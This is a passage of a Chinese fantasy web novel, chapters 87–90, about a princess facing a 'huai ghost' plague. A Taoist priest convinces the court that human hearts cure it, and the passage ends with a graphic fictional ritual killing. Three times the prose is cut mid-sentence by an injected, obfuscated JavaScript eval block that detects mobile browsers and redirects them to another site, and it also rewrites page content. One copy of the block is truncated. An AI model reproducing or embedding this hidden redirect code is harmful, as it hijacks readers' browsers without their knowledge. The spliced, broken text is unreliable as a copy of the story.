周昭屏退众人,连流筝都不能留下,她喝了几口暖茶,将那阵恶心强压下去,才冷声道:“你每天早上都去南衙问闫斯年调兵,难道没见过那些死囚?” 裴砚见瞒不住,反问道:“殿下刚才看见了?” 周昭亦答非所问:“你不想我看见?为什么?” 裴砚沉默片刻,道:“殿下也说了,那是死囚。他们该死,没必要让殿下知道徒增烦恼。” 周昭轻轻叹了口气,道:“裴砚,除了流筝,昭阳殿我最信任的就是你,这样要紧的事儿,你怎么能瞒着我不说呢?” “殿下今日去了南衙,有什么改变吗?”裴砚一反常态,语气强硬道,“没有,殿下想阻止平南王以命换命,死囚还是被吃掉了,对吗?就像这些槐鬼,殿下千方百计想救他们,但槐鬼却千方百计想吃掉你。就算找到了那些散发出去的珠宝,找到了那个小妖怪,又能怎么样?殿下能阻止槐鬼像盛都城外蔓延吗?能不杀掉一个人就让槐鬼变成人吗?” 周昭起初是惊愕,听到后面是难以置信。 她看着裴砚,就好像第一次认识这个人,他说的每一句话,都是周昭最怕听见的,或者说最不敢正视的。 周昭一言不发,好像又回到被槐鬼险些吃掉的那晚,又回到孤零零一个人,躺在青石地砖上。 那种深刻而又沉重的无力感重新漫上心头,让她血液倒流,双颊一片死灰。 她能反驳裴砚吗? 不能,她甚至找不到一个字来反驳。 裴砚似乎意识到自己说错了话,张了张嘴巴,语气轻软道:“殿下……” 周昭惨淡一笑:“这没什么,你说得很对。可我……我想试试。如果老天爷非要让槐鬼来毁掉大周,我还是想试试,哪怕为此而死,你明白吗?裴砚。” “……我不会让你死的,殿下。” 周昭这回是真心笑了笑,问道:“你刚才说的小妖怪,是那个女娃娃?有什么发现吗?” 裴砚摇摇头,道:“没,我只查到她去年就不在盛都城了。至于小妖怪……是我随口胡说的。” 周昭点头道:“也许你猜的没错,哪有普通人家的女娃娃身上装着那么多宝贝。”周昭曾无数次后悔那日回城没有深究,但再说这些已经无用,她又问:“查到去哪儿了吗?” “最后一人看见她,是出了城往东边去了。” “东边……”周昭喃喃道,“那不正是姜国所在吗?” 88. 第 88 章 自春围之后三个月,城中已有五百余人变成槐鬼,这个数目一天天增长,威仪高大的城门也终于没能阻止这场“瘟疫”,正悄无声息地向皇城外蔓延。 虽有禁军日夜轮班守卫,但城中陆陆续续仍有不少人失踪,不消说,这些都是被槐鬼神不知鬼不觉吃掉的。 无奈之下,朝廷只得颁发诏书,有槐鬼吃人者,格杀勿论。 让槐鬼们瑟瑟发抖的不是皇帝这道诏书,而是他们发现就算吃掉人也无济于事。 这份灭顶的恐惧周而复始地,在每个百姓心中不断膨胀,虽然表面上再也没有出现过槐鬼吃人,但持续了整整三个月的恐慌,已经在一反常态的平静中到了即将爆发的境况。 这种境况一直持续到一位云游道人来到盛都城,那道人名唤虚无渡,宣称槐鬼的出现皆因上天震怒,降下天罚,如若要破除亦不难。 但这道人倨傲无礼,任谁来问都缄默其口。 于是,一日清晨,宣庆帝派人将虚无渡请进皇宫。 大殿之内,宣庆帝背靠龙椅而坐,大臣分列左右。 “陛下,槐树为鬼树,那人头就是怨灵,如若不早早消除怨气,只怕天罚不肯停。” 宣庆帝半信半疑道:“依先生高见,这怨气从何而来,又要如何消解?” 殿内道人摸了把长胡子,故弄玄虚道:“解铃还须系铃人。” “请先生明示。” “怨气自东方而来,七窍源于心,唯灵台可解。” 周昭跟周驰对视一眼,肖季言昨日才将姜国人的心脏能破除槐鬼妖术的结论告知他二人,本想今日散朝后回禀,谁知虚无渡言下之意竟已经知晓。 白胡子道人看向周昭,笑眯眯道:“公主殿下,您不是一直在找年前那些珠宝的主人吗?” 他从怀里掏出一份布告,念道:“凡有来献珠宝者,以当铺两倍价钱购之……殿下,您可收回来多少珠子了?” 周昭微微摇头道:“收效甚微,仅不到十颗。” “您莫要白费力气啦!”道人将布告往地上一扔,“就算殿下找回来全部的珠子,也来不及啦!” 周昭不解,追问道:“为何?” 道人慢条斯理道:“世上有一妖,名为目袋。此妖是天生灾祸之体,所到之处必祸事连连,生灵涂炭。常携一只聚宝袋,里头装的,都是价值连城的珠宝玉器,她将这些珠宝散发给人们,其实就是将灾祸撒向世间。只要收下目袋的宝贝,那便要大祸临头!” 此言一出,满朝哗然。 周驰眉宇多猜疑,宣庆帝亦然。 周昭因多年修习于江梅棠座下,对这类神鬼之事并不如何见怪,问道:“依先生所言,槐鬼就是因为目袋降临,惹出的灾祸吗?倘若我们将散出去的珠宝都收回来毁掉,难道不能解决眼下难题吗?” 虚无渡摸着胡子在殿内小步走了几圈,连连摇头,嘴里念叨着:“厄运已经降临,天罚降世,岂有中途收回去的道理……不行,不行!” 周驰上前一步,问道:“先生,那您说怎么解?” 他虽然言语尊敬,却有几分不屑一顾,那道士像是浑然不察,对答如流:“贫道说了,灵台可解。” “用人心换命??”兰令仪忍不住道。 “贫道虽没见过目袋散发的珠子,但能催生出槐鬼这样厉害的邪物,足见珠子上怨气之重戾气之深。怨气一旦生发,再无回旋余地。” “正如槐鬼虽然能杀死,但怨气却不能消解,所以怨气越来越重,被传染变成槐鬼的人也越来越多,只有尽快让盛都城这些怨气消散,才能阻止槐鬼继续生长。” “——而消除怨气唯一的办法,就是以人心喂养之!” 道士一口气说完,眸光炯炯,似乎并不像市井上那些招摇撞骗之人,他又将目光落在周昭身上,微笑道:“毁掉珠子虽然无用,但殿下能看出其中玄机,的确聪慧。不过,那些珠子上兴许怨气未散尽,还是少碰的好。” 周昭略感丧气,礼部尚书李知远听得稀里糊涂,对左边站着的官员悄声说道:“闻所未闻,但我听说南衙那几个就是吃了人心才好的,这老头说不定真有些道行。” 那官员惊讶道:“上哪去找那么多人心?” 李知远正要说话,沉默许久的宣庆帝微微坐直身子,殿内顷刻间恢复安静。 “怨气在东……”宣庆帝将刚才道人说过的话又重复一遍,眸光中闪过两道锐利的光芒,旋即又变成令人生畏的压迫感,“姜国,不正是在东吗?” 虚无渡不语,李知远见状附和道:“陛下,姜国毗邻孟舒,虽一直对我朝俯首称臣,但难保两国早已暗地结盟,意图利用槐鬼毁我大周。依臣看,不如即刻出兵姜国,打他个措手不及!” 兰令仪挑眉道:“中丞,想不到您还懂兵法?” 李知远的侄子李勇被打了五十大板,还在家中躺着,他早就对兰令仪恨得牙痒痒。 南疆是兰令仪的天下,但回到盛都,没有兵权的将军不足为惧。李知远尖酸地说道:“不敢不敢,哪比得上兰将军。” “好了。”宣庆帝抬手道,“驰儿,你怎么看?” 周驰道:“儿臣认为,姜国于此事干系重大,不能不查。” “明鸢呢?” “儿臣同意大哥的意思。” “好,既然都说要查,怎么个查法儿?” 众人面面相觑,相顾无言。 承乾殿终日汤药不断,皇后亲自侍奉左右。 一日深夜,一顶软轿神不知鬼不觉地从宫门抬出去,四匹雪白的骏马一路畅通无阻驶向南衙。 闫斯年侯在门口,那顶软轿在他身边停了一下,闫斯年忙低着头上前,不由自主把腰弯得更深,他嘴唇微动说了句什么,轿子里传来若有若无的一声应答,随即往南衙庭院内驶去了。 那软轿不多时便停下,一个身穿九爪龙纹玄色外袍的男人从轿子里出来。 夜色浓重,南衙议事厅前早候着两排羽林军,在这人下轿的空当儿纷纷落跪。 来人面色灰白,眉宇病气缠绕,却目光锐利,气度威严——正是宣庆帝。 宣庆帝先是环视一圈,蹙眉道:“朕说的是南衙校场,李德海,你这是让人把朕送哪儿来了?” “哎哟!我的陛下!”李德海立马跪地磕头道,“您万金之躯,老奴万不敢将您带去、带去那地方呀!” 宣庆帝睨了李德海一眼,沉声道:“朕的儿子,女儿,都在这里,他们能去,朕为何不能去?” 李德海还要再说,宣庆帝命令道:“带朕去!” 随行之人无一人敢动,全都扑通跪下。 宣庆帝怒道:“闫斯年呢!” “哎!陛下,陛下臣来了!” 闫斯年顾不得擦额头的汗,方才夜色底下看不真切,如今挑着几盏灯笼照着,才见他这一身装束: 只见闫斯年虽然上半身穿着羽林军盔甲,下半身也勉强算是穿着条裤子,但他左脚穿着军靴,右脚却趿着一双布鞋,鞋跟尚踩在脚下没有提起,头发自不必说,也是乱糟糟一团,就像是被谁刚从被窝里一把拎出来似的。 宣庆帝瞧见闫斯年这身装扮,虽然语气还是冷的,怒气已经消了大半:“闫爱卿,这就是你说的安排好了?” 闫斯年有苦说不出。 他这夜刚睡下,就来了道秘旨,说宫里那位要微服出宫,下榻南衙,命他速速准备不得有误。 闫斯年一骨碌从床上滚下来,其实也就比宣庆帝早到那么半炷香。他只怕自己还没变成槐鬼,这颗脑袋就要搬家,诚惶诚恐道:“陛下,恕臣愚钝......” “朕看你聪明得很呐。” 宣庆帝双手背在身后,绕过这跪了两排的宫人往外走,“朕让你带朕去看槐鬼,你倒好,串通李德海将朕送来这议事堂。朕猜,统领保准儿又派人去通报了平南王跟明鸢......” 宣庆帝冷哼一声,颇有些自负道:“你们不带朕去,朕难道没长脚么?” 闫斯年这回是真的冤枉。宫里来报信的是一位年轻些的公公,说的就是议事堂,哪个字提槐鬼了? 他连忙跟上宣庆帝,纳闷地瞅了李德海,对方满面愁容冲他挤眉弄眼,做了个噤声的手势。 眼见宣庆帝走的方向正是校场,闫斯年才明白过来自己被李德海摆了一道,在心里骂了这阉人几句,小心翼翼道:“陛下,您这是要去校场?” “朕听平南王说,你们从刑部提了几个姜国人来,槐鬼吃了就变成人了?还得要吃人心,真有此事?” 闫斯年听明白了,这是连皇帝也不相信这档子奇事,才避开那两位皇子亲自来看看。 他答道:“回陛下,确有此事,臣也觉得古怪。” “李德海,你带人在这候着。”宣庆帝又继续走,只让闫斯年一人跟着,“统领觉着这是件好事儿,还是坏事儿?” “......”闫斯年险些被脚下的石子儿绊了一跤,提了提撒在脚面上的裤子,谨慎道,“臣以为,槐鬼变成人是好事,吃人......是坏事。” 宣庆帝道:“可惜朕的两个皇儿,一个觉得是好事儿,一个觉得是坏事儿。一个天天上书要出兵姜国,一个又变着法儿地让朕收回给刑部的文书。” 闫斯年默不作声,心道:“大殿下雷厉风行,目标明确,但行事手段让人望而生畏。公主殿下有勇有谋,聪明率真,但心太软了些,再找十天半个月也不见得能知道槐鬼吃人心就能变成人的秘密。” 宣庆帝彷佛听到他的心声,冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982689|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不丁地问道:“闫爱卿,你说朕百年以后,该将祖宗的基业交到谁手里?” 闫斯年吓出一身冷汗,方才一路跑来的热意消失了个无影无踪。 正当此时,一声尖笑救了闫斯年一命。 宣庆帝的注意力很快被这笑声吸引去,闫斯年护在宣庆帝声侧,小声道:“陛下,前面就是校场,要不咱们还是回去?” “朕倒要看看,这槐鬼到底是何方妖魔。” 宣庆帝步履不停,闫斯年只得跟上,心想要是明日平南王知道他领着皇上来了校场,只怕当场就要杀他。 他情不自禁缩了缩脖子,低声道:“陛下,槐鬼夜里都睡着,看不出什么,陛下若想看那变成人的槐鬼,不如等明日大殿下将他带进宫去……” “闫爱卿,你话有点多了。” 闫斯年立马闭嘴。 这一君一臣越往校场方向走,那片远远矗立着的槐树林越显得鬼影憧憧,月亮正快速地在墨色的云层里穿行,枝头上悬着的人头一个个脸色煞白如纸,唇角挂着若有若无的微笑。 忽然间,闫斯年眼尖地看见一颗槐树底下似乎坐着个鬼影。 “谁在那里!” 闫斯年心跳如鼓,拔剑上前。那鬼影一身雪白,摇摇晃晃站起身,闫斯年喉咙间压着一声尖叫,挡在宣庆帝面前,悄声道:“陛下,待会儿我说跑,您就快跑!” 他握着剑,微微弯着腰往前走,那鬼影也朝着他们的方向来。 闫斯年头皮发麻,正当他已经想好舍身救主之际,腰间突然一空,一个什么东西从他耳边飞出去,又快又狠地砸在那鬼影身上。 夜空底下传来一声闷哼,闫斯年才看清刚才飞出去的是自己的刀鞘。 “陛下?!”闫斯年又惊又恐地回过头,隔空抛物的宣庆帝反而淡定许多。 那鬼影被宣庆帝砸中,停步不前,一个微弱的声音传来—— “是闫统领吗?” 遭了!这鬼认得我?? 月光终于从又厚又黑的云层里透出几缕惨白,照在那“鬼影”身上,映出一张同样惨白的脸来。 身后宣庆帝道:“何人装神弄鬼?” 闫斯年却看清了,惊愕道:“这不是北衙的参军大人吗?您怎么在这儿?” 这面容惨白,捂着肩膀的少年正是折杞。 他的官职虽然不比闫斯年高,但闫斯年拎得清,落魄的王族那也是王,因此一向对折杞很是尊重。 折杞一见宣庆帝,忍着痛跪地道:“陛下。” 宣庆帝却想不起来,望着那少年道:“参军?” 闫斯年解释道:“陛下,这是岭夏的二殿下,公主的好友。” “哦,折杞……”宣庆帝终于想起来这号人物,“你在这儿做什么?” 折杞答道:“回陛下,臣是在试验。” “试验什么?” “试验救活一颗槐鬼,除了人心,还有没有别的东西。” 宣庆帝的目光落在远处那一团黑乎乎的口袋里,折杞又道:“那里面装着猪心、马心、鸡心等十余种心肺,臣想都试一遍。” “说下去。” 折杞低下头道:“不过,槐鬼对这些东西似乎并不感兴趣。” 闫斯年忍不住道:“大人,您刚才就站在那槐树底下,难道不怕……” 折杞抬起头,微微笑道:“不怕,我发现了一个让槐鬼敬而远之的办法。” 他抬起衣袖:“只消在袖口洒上一点牵机,槐鬼就不敢伤我了。” 宣庆帝饶有兴趣地看着折杞,示意闫斯年扶他起来,问道:“你的牵机,随身带着吗?” “带着。” “给朕和闫统领也洒上一点儿。” 折杞有几分惶恐地走过来,将一只小巧的白瓷瓶递给闫斯年,闫斯年小心地在宣庆帝衣袖上倒了一点点,又心惊胆战道:“陛下,牵机是剧毒,您千万记着别将这衣袖靠近口鼻。” 三人沿着校场走了半圈儿,宣庆帝以往都是在承乾殿听人说槐鬼如何如何,除去南苑春围那次,并没有真的见过。 等他真真切切见到那些人头,听到那些时而醒过来的笑声,步伐不由越来越沉重,叹息道:“难道姜国非去不可……” 折杞道:“陛下,臣愿意为您分忧。” 宣庆帝看着他笑道:“你?你还是个孩子。” 折杞神色激动道:“臣年纪不小了,臣从小就在周朝长大,只恨没有机会为国效力。如果陛下肯给臣这样一个机会,臣一定鞠躬尽瘁!” 宣庆帝饶有深意地看了折杞一眼,并不开口。 翌日清晨,一道旨意传遍盛都—— 封岭夏二殿下折杞为靖王,随平南王出使姜国,拨兵马五万,即刻出城。 89. 第 89 章 宣庆二十五年夏,平南王出使姜国,不料于义县遭遇伏兵,平南王率大军杀出重围,另虏获姜国兵士两百余人。 这消息就像插了翅膀似的传回盛都,周昭正在皇后宫中用饭,皇后听了消息,摸着心口一串佛珠念念有词:“幸得列祖列宗庇佑,使我儿平安归来。” 周昭握住皇后的手,亦是兴高采烈道:“母后,您看,我就说大哥一定没事儿。” 周澈坐在她对面,皇后反握住周昭的手,又拉住周澈,露出宽慰的笑来,柔声道:“母后知道,你们都是好孩子。我跟你们父皇上了年纪,总觉着你们哪一个要是不在身边,心里便不踏实。” 皇后说着话便想起早逝的二儿子,一缕淡淡的哀愁顺着嘴角爬上她的眉梢,这张美丽温婉的脸很快露出忧伤,那是曾被巨大的痛苦造访后留下的痕迹。 周昭假意没看见这份忧伤,望着皇后挂在心口那串朱红色的珠子,问道:“母后,这佛珠是父皇送您的吗?真好看。” 周澈岂会不知周昭用意,微笑道:“小昭,这回你可猜错了。” “怎么?我猜得不对?” 皇后终于勉强从突如其来的忧伤里抽出身来,摩挲着那串佛珠,道:“这个呀,是三年前一个独眼僧人献给你父皇的,说是能延年益寿,你父皇不信这些,又给了我。这东西一直搁置着,近日你大哥不在,我总是心神不宁,偶然翻出来戴了几日,果然好些。” 周昭一听是三年前的旧物,放心大半,道:“既如此,那您便长久戴着,说不定真能延年益寿呢。” 皇后微笑道:“母后延年益寿有什么紧要,只求你们平安就好。” 她又在周澈手背上轻轻拍了拍,问道:“澈儿最近可大好了?” 周澈道:“劳母后挂心,儿臣大好了。” 周澈去年冬日那场风寒总算熬过去,苍白的脸较从前透出几分让人宽慰的血色来,皇后却不放心,又道:“我看你还得好生将养一段日子,不如将这佛珠拿去。” 她说着就要从颈间取下,周澈忙道:“母后,儿臣底子差,压不住这宝物。再说这是父皇送给您的,儿臣岂敢受之。” 皇后叹息道:“怪母后怀你那年生了场大病,这才……” “母后,您说哪里话,儿子的命都是母后给的,有什么不满足呢?” 这些儿女中皇后最忧心的便是周澈,打小一直放在身边养,就算周澈后来封王,也特许在宫中住着。 她听周澈这么说,不禁难过,周昭见状放下碗筷,抱住皇后的胳膊撒娇道:“母后偏心,就只问哥哥不问明鸢。” 周澈忍不住发笑,皇后脸上漾开笑意,在周昭鼻尖轻轻点了点,故意道:“你这丫头,国师把你养成了比男儿还厉害几分的女子,母后哪里管得住你?” 周昭不依不饶道:“管得住,管得住的。” 席间笑声一片,皇后用过午膳总要小睡一会儿,周澈兄妹从皇后寝宫出来时,乌云压顶,闷热异常,隐隐有暴雨之象。 周澈抬头望望天,道:“要下雨了。”他侧过脸看向周昭,问道:“小昭,你有什么心事吗?” “五哥怎地突然这么问?” “我瞧你听说大哥要回来,从刚才起便心事重重。” 周澈如此开门见山,周昭淡淡笑道:“什么事儿都逃不过五哥的眼睛。” 二人沿阶而行,周澈温声道:“旁人或许猜不出,但我们是一母同胞的兄妹,身上长着相同的骨血,这是旁人不能比的。” 周昭听出他弦外之音,边走边道:“五哥是怕我与大哥为难?” “不,”周澈摇头道,“我是怕你与自个儿为难。” 周昭轻叹了口气,道:“五哥,我心里烦得很,既然开了这个头,我有些话想问问五哥的意思。” “你说,五哥听着。” “槐鬼尚未查清,姜国于义县率先发难,大哥打了胜仗自然是好事,但带回那些俘虏……”周昭停顿片刻,继续道,“五哥,前阵子来宫里那位神通广大的道长,你可曾见过面儿?” “未曾,我听小喜说,这道长很受父皇信任。” “不错,父皇最近日日都与他在一处。我既盼着大哥回来,又不想他这么快回来。” “小昭,我还是那句话,莫与你自个儿为难。”周澈侧目道,“如果真是姜国人想要浑水摸鱼,利用槐鬼乱我大周,这些人,总要为自己做错的事付出代价。父皇这么想,大哥这么想,至于你我,理应也这么想。” “五哥,我……”周昭轻轻抿唇,“五哥怎么想?” 突然响起惊雷,雷声过后便是雨。 周澈轻柔地笑了笑,道:“小昭,回去罢。” 六月十八,大暑。 暴雨连续数日不停,直到周朝大军带着姜国两百俘虏回城,这雨才终于停了。 雨后紧跟着烈阳,那阵热辣辣的暑气仿佛一瞬间爆发,将夜里积攒的潮湿与湿润都激了个干净。 林荫大道排列整齐,太阳的光影将两排树木仿佛拦腰截断,却没有一个行人贪图阴影下的那片凉爽。 尘土漫天,马蹄声由远及近,除此之外鸦雀无声。 等大军入城,才有百姓陆陆续续打开门窗,有人议论道:“那后面绑着绳索的,是姜国人吗?” “应该是,平南王这回不就是为了槐鬼一事,才去姜国的吗?” 另一人道:“你们听说了吗?槐鬼只有吃姜国人才有用,平南王这是给咱们带药引子回来了。” 最先问话的人道:“此话当真?” 那人道:“自然是真的,我小舅子在禁军大营,他说的话还能有假?” 众人议论纷纷,至于那些槐鬼,则在太阳底下竖起耳朵,睁开溜圆的眼睛,不知道在想些什么。 但百姓们等了一日,两日,整整五日过去了,都不见宫中传来任何消息。 昭阳殿内,周昭正提笔练字,都说习字能静心,周昭却心烦意乱不减半分,右眼直跳。 她强逼着自己写了小半个时辰,搁下笔,略揉了揉眉心。 裴砚走进来时看到的便是这幅场景,他停下脚步,有些犹豫要不要再往里走。 片刻后,周昭抬眸才发现殿内立着这么个人,微笑道:“裴砚,你走路怎地没声儿的?”裴砚没答话,周昭问道:“怎么了?出什么事儿了?” 裴砚快步走过去,平静道:“殿下,宫门外有人聚众闹事,闫统领已经带人过去了。” 周昭惊道:“什么时候的事儿?” “半个时辰前。” “带我去。” 昭阳殿内设有单独的马厩,裴砚牵了马来,二人虽不至于策马飞奔,却也是形容匆匆。出了宫门,便更如离弦之箭,毫无顾忌了。 “裴砚,到底怎么回事儿?跟槐鬼有关?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“左右都是要死,总好过变成槐鬼!” “殿下!殿下你可算来了哎哟喂!”闫斯年擦着满头满脸的汗,瞧见人墙外面的周昭,忙让人从旁边放出一条通道来。 裴砚护着周昭走过去,最早说要冲进大理寺的那名男子认出周昭,叫道:“是明鸢殿下!殿下来了!” 这下又引起不小的骚动,刚刚的叫嚷声渐渐平息,那人兴奋道:“殿下,您是来为我们做主的吗?” 周昭哑然,一个陌生妇人道:“这下放心啦!明鸢殿下一定会帮我们的!”那妇人望着她,眉眼半是喜色半是忧愁:“殿下不认得我了?” “您是……”周昭又瞧上几眼,认出这是那日从苍界山回来遇到那户人家里的妇人,恍然大悟道,“我认得了,您家中相公还好吗?” 妇人闻言潸然泪下,抽泣道:“我家相公……也长成了那样挂人头的怪物,如今还剩下最后一个人头,再过两天他、他就要死啦!” 妇人说完,又满怀希望地看向周昭,问道:“殿下那日说一定能找到消除槐鬼的法子,殿下没骗我们,朝廷这回抓了姜国俘虏,一定是来救我们的吧?” “这……”周昭道,“这都是大哥的功劳。至于带回来的姜国人,只是俘虏,还需朝廷定夺。” 周昭声音虽低,但因为这会儿全场的人都屏气凝神,因此这句话清清楚楚地落在了周围人的耳朵里。 那妇人脸色惨白,忍不住重复道:“只是俘虏,不是槐鬼的解药?” 90. 第 90 章 炎炎烈日下,是死一般的沉寂。 有人试探性地问道:“抓回来的姜国人,不能医治槐鬼?” 眼前这些人对周昭无比信任,周昭喉咙发紧,一时不知道该如何回答,身侧裴砚冷冷道:“是或不是,难道你们打算冲进大理寺吃人吗?” 这些百姓虽然口口声声说要去大理寺拿人,且不说是否有人敢真的违抗朝廷,最重要的,是谁也不会当众承认自己要吃人。 你看我我看你,终于有个胆大的站出来道:“那你们给个准话,姜国人到底打算怎么处置?” 话音刚落,一声高喝传来—— “平南王到!” 众人目光齐唰唰望过去,只见周驰骑着一匹宝马而来,除了寸步不离跟在周驰身边的副将肖季言,随周驰一同出征的折杞,身后还跟着一群人。 周驰做了个手势,肖季言领着那群人上前,其实根本不用他开口,两群人便如同深海里的鱼群般,很快自发地交融汇合在一起了。 “这、这不是变成槐鬼的杨小公子吗?你好啦?” 杨小公子得意道:“我好啦!我这不是好端端站在你面前吗?还能有假?” “殿下,这都是南衙的槐鬼。”裴砚低下头小声道,周昭回应说:“是南衙的,但为何……” 周昭明白了,这些南衙的槐鬼都吃了人心。 “你怎么好的?”适才认出杨小公子的人又问。 “当然是——”杨小公子停顿了一下,目光躲闪,支支吾吾道,“是平南王殿下……救了我们。” 和其他所有人一样,这位二十五六岁的年轻人也绝不肯承认,自己是吃掉了人心才好的。 闫斯年凑到周昭身边,天气如此炎热,他却忍不住打了个冷战,问道:“公主殿下,大理寺的俘虏该不会都、都被拿去……” 裴砚望了他一眼:“这话统领该去问大理寺卿。” 远远地,只见周驰又对折杞说了句什么,对方翻身下马,手里拿着一叠纸。 他将那叠纸展开,一张张散发给这群混在一起的百姓,高声道:“大家听我说,闹事没有用!陛下跟平南王都记着大家受的苦,一定会想办法救你们!” 折杞发完这些,又命左右张贴在墙上。 一时间人群又像发现了新的食物,蜂拥而至,裴砚捡了张皱皱巴巴的宣纸,闫斯年低着头念道:“明日午时三刻,朝廷……开坛祭天?” “……若再有闹事者,严惩不贷。”周昭念到这儿停住,再抬头却不见周驰的影子。 “陛下圣明!平南王圣明!” 不知是谁爆发出这么一声喊叫,众人纷纷附和,无不喜笑颜开再度充满希望,原本挤在大理寺门前的百姓一拥而散,迫不及待地要把这个好消息,告知家中变成槐鬼的妻儿老小。 周昭穿过逆行的人群,一把抓住折杞,问道:“折杞,这是谁让你贴的布告?” 折杞略带惶恐,但这慌乱仅仅持续片刻,转眼间,他又恢复刚才坐于马上沉稳从容的模样,冲周昭微笑道:“昭姐姐糊涂了,当然是陛下让贴的。” 第二日不到午时,祭天台脚下便挤满了密密麻麻的人群,比之昨日大理寺门前尤甚。 这座祭天台早在成祖时期就建成了,那时成祖一统天下,功绩卓越,耗费整整两年时间修建了这座高达十余丈的祭天台。 台上建一角楼,楼内堆满珠宝玉器,奇珍异兽,美人无数。后来这些东西角楼也放不下,由几十辆马车装着美人珠宝,全都送去了龙脊山上的七宝玲珑塔内。 这段历史距今已有千年,成祖早已沉睡皇陵,唯有祭天台依旧如故,只是那栋角楼因为年久失修倒塌了,其余并不曾变过。 如今宣庆帝派人修葺一番,好似跟新的一样威严高耸,让人不寒而栗。 高台之下早已设有祭坛,四角各置一只青铜鼎,上刻神兽图腾。 正对祭台的位置,平地放着一口比那四只青铜鼎加起来还要大的巨鼎,却不知是拿来做什么用的。 祭坛正中间,坐着那位白胡子老道虚无渡。 他赤足青衫,披头散发,并不睁开眼睛。靠近祭坛边缘,则摆着一张长约八尺,宽约三尺的槐木桌。 午时一刻,此地已人满为患,车马难行。在祭坛对面专门设有观礼台,周昭等人就落座此处。 “这是要搞什么名堂!” 人未到声先闻,周昭还未回头,兰令仪就像帘子掀起来时钻进室内的那阵凉风,眨眼间便撩袍坐到她身边了:“殿下,您清楚吗?” 周昭摇头道:“一概不知。” 兰令仪惊讶道:“听说,平南王这几日同那道士走的很近,什么都没告诉你?” 周昭勉强笑了笑,昨日从大理寺回来后,她便径直去找了宣庆帝跟周驰,谁知两人均不见她。 兰令仪更是一头雾水,本想找闫斯年问问清楚,环顾一周人却不在,周昭指给她看,说道:“将军,闫统领在祭台下面守着。” 兰令仪随手抓了把扇子扇风,烦闷道:“那道士就不像什么好人,祭天一事闹得人心惶惶,我倒要看看,到底怎么个祭天法儿。” 周昭对虚无渡是不是好人暂且存疑,心道:“如果祭天真能阻止槐鬼再蔓延,那倒是件天大的好事儿,只是不知到底要怎么做法……” 裴砚俯下身,小声道:“公主你瞧,来了。” 宣庆帝并未出现,来的是领着一队禁军的周驰。禁军之中,还押着约莫五十人的一支队伍。 这观礼台的阁楼里置着冰,却仍热得人心烦意乱,周昭将右手轻轻搭在眉前,只觉外头烈日刺眼,热浪好似上下起伏的一锅沸水,挨着便要掉层皮。 那支队伍被禁军押着走进祭天台,身影逐渐消失在高楼里,钦天监尖着嗓子叫道—— “吉时已到,开坛祭天!” 台下瞬间爆发出一阵热烈的欢呼,这阵欢呼声中,周驰迈着沉稳的步伐走上观礼阁楼,道士虚无渡也在此刻睁开眼睛。 “各位都在了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16994502|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这层楼坐着的都是几位王公贵族,朝中重臣,见了周驰无不起身行礼,周驰微微颔首,周昭本欲跟他说话,周驰却偏偏挑了个离她极远的位子坐下。 台上虚无渡喝道:“点火!” 四名道士装束的小少年神情庄重,举着火把投入青铜鼎中,瞬间燃起四道窜天火龙,这无疑让周围的热浪更上一层楼,兰令仪的扇子扇动得更欢。 只见虚无渡口中念念有词,长发白须在火光中飞舞,那身姿仿佛真让他有几分羽化登仙之境。 兰令仪皱眉道:“他这是要干什么?” 周昭回答:“不知道,且再看看。” 这时两名禁军押着一个人走进众人视线,男人光着上半身,浑身上下只余一条裤子系在腰间,双腿抖得像筛糠。 禁军面无表情地押着他走到祭台中央,虚无渡面前摆着一只银盆,他伸出右手二指在盆中搅了搅,往男子眉心轻轻一点,喃喃自语道:“冤有头,债有主,前世作孽今生补。槐树妖,人头掉,沉入无相魂魄消……去!” 周昭突然从心底升腾出一种不好的预感。 随着虚无渡那声低喝,禁军押着男人三两步走到那张槐木桌前,一人抬头,一人抬脚,男人轻飘飘地被放在桌上。 这时,从阴影处走来一个戴着青铜獠牙面罩的人,手中握着一把锋利的尖刀。 鼓声猝然响起,那尖刀猛地插入男人左腹以下,一声惨叫冲天,湮灭在越敲越响的鼓声里。 那人刀法之快,等到这声惨叫过去,他的手中已经托着一只刚挖出来的血淋淋的心脏,犹在跳动。 槐木桌上被开膛破腹的男人还没死绝,一双眼睛瞪大如黄牛,双手朝天痉挛不止。 鼓声戛然而止,男人终于断了气。 台下人声鼎沸像是突然被抽走底下燃烧的柴火,人们的笑容僵在脸上,只有那四中青铜鼎烧得正旺。 “放!” 心脏被抛下高台,落入那只正在燃烧的巨大青铜鼎中,火苗蹿起,发出砰的一声响。 这阵巨响惊醒了被眼前之景暂时吓住的人,人们往往只是恐惧没见过的东西,相较于迫在眉睫的死亡,他们的眼睛比自己想象中更快地接受了这种血腥。 欢呼声爆发。 周昭猛地起身,兰令仪唤道:“殿下,你这是要去哪儿?”周驰神情淡淡,二人目光相接,周昭攥紧拳头,低声道:“将军,我不舒服,先回宫了。” 裴砚刚要跟上,周昭侧目道:“裴砚,你留在这儿,替我观礼。” 